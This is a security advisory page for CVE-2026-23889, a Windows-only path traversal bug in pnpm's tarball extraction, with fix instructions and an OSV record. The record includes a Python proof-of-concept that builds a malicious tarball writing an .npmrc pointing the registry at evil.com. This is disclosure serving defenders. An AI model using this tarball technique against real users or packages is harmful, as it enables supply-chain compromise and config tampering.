CVE-2026-23889: Pnpm Path Traversal Vulnerability
MODERATECVE-2026-23889 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Pnpm libraries in the npm ecosystem. The issue involves pnpm has windows-specific tarball path traversal. Remediation is available by upgrading affected packages to version 10.28.1.
CVE-2026-23889 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-23889
To remediate this vulnerability, upgrade all affected Pnpm dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install pnpm@10.28.1Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls pnpmHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-23889, inspect your project dependencies using npm:
npm ls pnpmAnalyze the terminal output to locate any version of Pnpm in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.28.1), your application is affected.
Note: The npm ls pnpm command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Pnpm, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-23889 Affected Pnpm Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pnpm
|
npm |
< 10.28.1
|
10.28.1
|
References
Frequently Asked Questions
What is CVE-2026-23889?
Which Pnpm versions are affected?
What version fixes CVE-2026-23889?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6x96-7vc8-cm3p",
"modified" : "2026-01-29T03:23:02Z",
"published" : "2026-01-26T21:02:44Z",
"aliases" : [ "CVE-2026-23889" ],
"summary" : "pnpm has Windows-specific tarball Path Traversal",
"details" : "### Summary\nA path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal.\n\n**This vulnerability is Windows-only.**\n\n### Details\n**1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**\n\n```typescript\nif (fileName.includes('./')) {\n fileName = path.posix.join('/', fileName).slice(1)\n}\n```\n\nA path like `foo\\..\\..\\.npmrc` does NOT contain `./` and bypasses this check.\n\n**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**\n\n- On Unix: Backslashes are literal filename characters (safe)\n- On Windows: Backslashes are directory separators (exploitable)\n\n### PoC\n1. Create a malicious tarball with entry `package/foo\\..\\..\\.npmrc`\n2. Host it or use as a tarball URL dependency\n3. On Windows: `pnpm install`\n4. Observe `.npmrc` written outside package directory\n\n```python\nimport tarfile, io\n\ntar_buffer = io.BytesIO()\nwith tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:\n pkg_json = b'{\"name\": \"malicious-pkg\", \"version\": \"1.0.0\"}'\n pkg_info = tarfile.TarInfo(name='package/package.json')\n pkg_info.size = len(pkg_json)\n tar.addfile(pkg_info, io.BytesIO(pkg_json))\n\n malicious_content = b'registry=https://evil.com/\\n'\n mal_info = tarfile.TarInfo(name='package/foo\\\\..\\\\..\\\\.npmrc')\n mal_info.size = len(malicious_content)\n tar.addfile(mal_info, io.BytesIO(malicious_content))\n\nwith open('malicious-pkg-1.0.0.tgz', 'wb') as f:\n f.write(tar_buffer.getvalue())\n```\n\n### Impact\n- Windows pnpm users\n- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)\n- Can overwrite `.npmrc`, build configs, or other files\n\nVerified on pnpm main @ commit 5a0ed1d45.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "pnpm"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "10.28.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23889"
}, {
"type" : "WEB",
"url" : "https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pnpm/pnpm"
}, {
"type" : "WEB",
"url" : "https://github.com/pnpm/pnpm/releases/tag/v10.28.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-26T21:02:44Z",
"nvd_published_at" : "2026-01-26T22:15:56Z"
}
}